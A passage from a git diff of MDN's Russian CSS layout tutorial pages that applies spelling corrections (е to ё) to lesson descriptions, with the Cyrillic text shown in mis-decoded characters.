- <dd><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Flexbox</a> - это ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎΠΉ вСрстки для размСщСния элСмСнтов Π² строках ΠΈΠ»ΠΈ столбцах. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°ΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство ΠΈ ΡΠΆΠΈΠΌΠ°ΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π² мСньшСС пространство. Π”Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹.</dd>
+ <dd><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications">Flexbox</a> - это ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎΠΉ вёрстки для размСщСния элСмСнтов Π² строках ΠΈΠ»ΠΈ столбцах. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°ΡΡ‚ΡΠ³ΠΈΠ²Π°ΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ пространство ΠΈ ΡΠΆΠΈΠΌΠ°ΡŽΡ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡ Π² мСньшСС пространство. Π”Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΡ‹.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Grids">Grids</a></dt>
- <dd>CSS Grid Layout - это двумСрная систСма вСрстки для Π²Π΅Π±. ΠžΠ½Π°Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π²Π°ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² строках ΠΈ столбцах ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ мноТСство возмоТностСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΏΡ€ΠΎΡ‰Π°ΡŽΡ‚ построСниС слоТных ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ². Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» даст Π²Π°ΠΌ всС, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ для Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ страницы.</dd>
+ <dd>CSS Grid Layout - это двумСрная систСма вёрстки для Π²Π΅Π±. ΠžΠ½Π°Β ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π²Π°ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² строках ΠΈ столбцах ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ мноТСство возмоТностСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΏΡ€ΠΎΡ‰Π°ΡŽΡ‚ построСниС слоТных ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ². Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» даст Π²Π°ΠΌ всС, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ для Π½Π°Ρ‡Π°Π»Π° Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠΌ страницы.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></dt>
- <dd>Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ созданноС для ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΡ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ тСкстовых Π±Π»ΠΎΠΊΠΎΠ², свойство {{cssxref("float")}} стало ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… инструмСнтов для создания ΠΌΡƒΠ»ΡŒΡ‚ΠΈ-ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ вСрстки Π²Π΅Π±-страниц. Π‘ появлСниСм Flexbox ΠΈ Grid ΠΎΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΠ»ΠΎΡΡŒ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅.</dd>
+ <dd>Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ созданноС для ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΡ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ тСкстовых Π±Π»ΠΎΠΊΠΎΠ², свойство {{cssxref("float")}} стало ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… инструмСнтов для создания ΠΌΡƒΠ»ΡŒΡ‚ΠΈ-ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ вёрстки Π²Π΅Π±-страниц. Π‘ появлСниСм Flexbox ΠΈ Grid ΠΎΠ½ΠΎ Π²Π΅Ρ€Π½ΡƒΠ»ΠΎΡΡŒ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅.</dd>
</dl>
<dl>
<dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</a></dt>
<dd>ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ позволяСт Π²Π°ΠΌ Π±Ρ€Π°Ρ‚ΡŒ элСмСнты ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΒ ΠΈΡ… ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, заставляСт Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ ΠΏΠΎΠ΄ Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΈΠ»ΠΈ всСгда ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈ Ρ‚ΠΎΠΌ ΠΆΠ΅ мСстС Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΊΠ½Π° просмотра Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ΡΡ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния {{cssxref("position")}} ΠΈ способы ΠΈΡ… примСнСния.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">ΠœΡƒΠ»ΡŒΡ‚ΠΈ-колоночная вСрстка</a></dt>
- <dd>БпСцификация ΠΌΡƒΠ»ΡŒΡ‚ΠΈ-ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ вСрстки Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ способ размСщСния содСрТимого  Π² столбцах ΠΏΠΎ Π°Π½Π°Π»ΠΎΠ³ΠΈΠΈ с вСрсткой Π³Π°Π·Π΅Ρ‚.Β  Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚,Β ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ вСрстки</a></dt>
- <dd>Grid-систСмы - это ΠΎΡ‡Π΅Π½ΡŒ распространСнная Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ Π² CSS layouts, ΠΈ Π΄ΠΎ CSS Grid Layout ΠΎΠ½ΠΈ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Π»ΠΈΡΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ floats ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… возмоТностСй вСрстки. Π’Ρ‹ прСдставляСтС свою вСрстку Π² Π²ΠΈΠ΄Π΅ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ числа столбцов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 4 ΠΈΠ»ΠΈ 6), Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ содСрТимоС Π² эти Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ столбцы. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эти старыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π»ΠΈ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ использовались, Ссли ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ со старыми ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">ΠœΡƒΠ»ΡŒΡ‚ΠΈ-колоночная вёрстка</a></dt>
+ <dd>БпСцификация ΠΌΡƒΠ»ΡŒΡ‚ΠΈ-ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ вёрстки Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ способ размСщСния содСрТимого  Π² столбцах ΠΏΠΎ Π°Π½Π°Π»ΠΎΠ³ΠΈΠΈ с вёрсткой Π³Π°Π·Π΅Ρ‚.Β  Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚,Β ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ вёрстки</a></dt>
+ <dd>Grid-систСмы - это ΠΎΡ‡Π΅Π½ΡŒ распространённая Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ Π² CSS layouts, ΠΈ Π΄ΠΎ CSS Grid Layout ΠΎΠ½ΠΈ, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Ρ‹Π²Π°Π»ΠΈΡΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ floats ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… возмоТностСй вёрстки. Π’Ρ‹ прСдставляСтС свою вёрстку Π² Π²ΠΈΠ΄Π΅ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ числа столбцов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, 4 ΠΈΠ»ΠΈ 6), Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ содСрТимоС Π² эти Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ столбцы. Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ рассмотрим, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ эти старыС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Π»ΠΈ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ использовались, Ссли ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ со старыми ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° старыми Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</a></dt>
<dd>
- <p>Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Flexbox ΠΈ Grid ΠΊΠ°ΠΊ основныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ вСрстки для Π²Π°ΡˆΠΈΡ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ². Однако, ваш сайт ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΠ΅Ρ‰Π°Ρ‚ΡŒ со старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΠ»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π’ сСти это Π±ΡƒΠ΄Π΅Ρ‚ всСгда - ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ появлСния Π½ΠΎΠ²Ρ‹Ρ… возмоТностСй, для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π½Ρ‹ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ. Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ соврСмСнныС Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π±Π΅Π· Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ со старыми тСхнологиями.</p>
+ <p>Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅ ΠΌΡ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Flexbox ΠΈ Grid ΠΊΠ°ΠΊ основныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ вёрстки для Π²Π°ΡˆΠΈΡ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ². Однако, ваш сайт ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΡΠ΅Ρ‰Π°Ρ‚ΡŒ со старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΈΠ»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π’ сСти это Π±ΡƒΠ΄Π΅Ρ‚ всСгда - ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ появлСния Π½ΠΎΠ²Ρ‹Ρ… возмоТностСй, для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚Π½Ρ‹ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ. Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ соврСмСнныС Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π±Π΅Π· Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ со старыми тСхнологиями.</p>
</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Π€ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ понятиС вСрстки</a></dt>
- <dd>ΠžΡ†Π΅Π½ΠΊΠ° Π²Π°ΡˆΠΈΡ… Π·Π½Π°Π½ΠΈΠΉ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² вСрстки посрСдством вёрстки Π²Π΅Π±-страницы.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Π€ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ понятиС вёрстки</a></dt>
+ <dd>ΠžΡ†Π΅Π½ΠΊΠ° Π²Π°ΡˆΠΈΡ… Π·Π½Π°Π½ΠΈΠΉ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² вёрстки посрСдством вёрстки Π²Π΅Π±-страницы.</dd>
</dl>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/css/css_layout/introduction/index.html b/files/ru/learn/css/css_layout/introduction/index.html
index 422a215b1c..218e2a5c19 100644
--- a/files/ru/learn/css/css_layout/introduction/index.html
+++ b/files/ru/learn/css/css_layout/introduction/index.html
@@ -7,7 +7,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
<div>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</div>
-<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚Π° CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ…, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния свойства {{cssxref("display")}}, ΠΈ Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ рассмотрСны Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.Β </p>
+<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚Π° CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ…, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ значСния свойства {{cssxref("display")}}, ΠΈ Ρ€Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ рассмотрСны Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅.Β </p>
<table class="learn-box standard-table">
<tbody>
@@ -35,7 +35,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
<li>ΠœΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚</li>
</ul>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠΌΠ΅Π΅Ρ‚ свои прСимущСства ΠΈ нСдостатки ΠΈ Π½ΠΈ ΠΎΠ΄Π½Π° Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π½Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для использования Π² изоляции ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ…. Разбирая Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Π²Ρ‹ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… Π»ΡƒΡ‡ΡˆΠΈΠΉ инструмСнт Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΈΠΌΠ΅Π΅Ρ‚ свои прСимущСства ΠΈ нСдостатки ΠΈ Π½ΠΈ ΠΎΠ΄Π½Π° Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π½Π΅ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для использования Π² изоляции ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ…. Разбирая Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, Π²Ρ‹ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, ΠΊΠ°ΠΊΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… Π»ΡƒΡ‡ΡˆΠΈΠΉ инструмСнт Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ.</p>
<h2 id="Normal_flow">Normal flow</h2>
@@ -63,7 +63,7 @@ translation_of: Learn/CSS/CSS_layout/Introduction
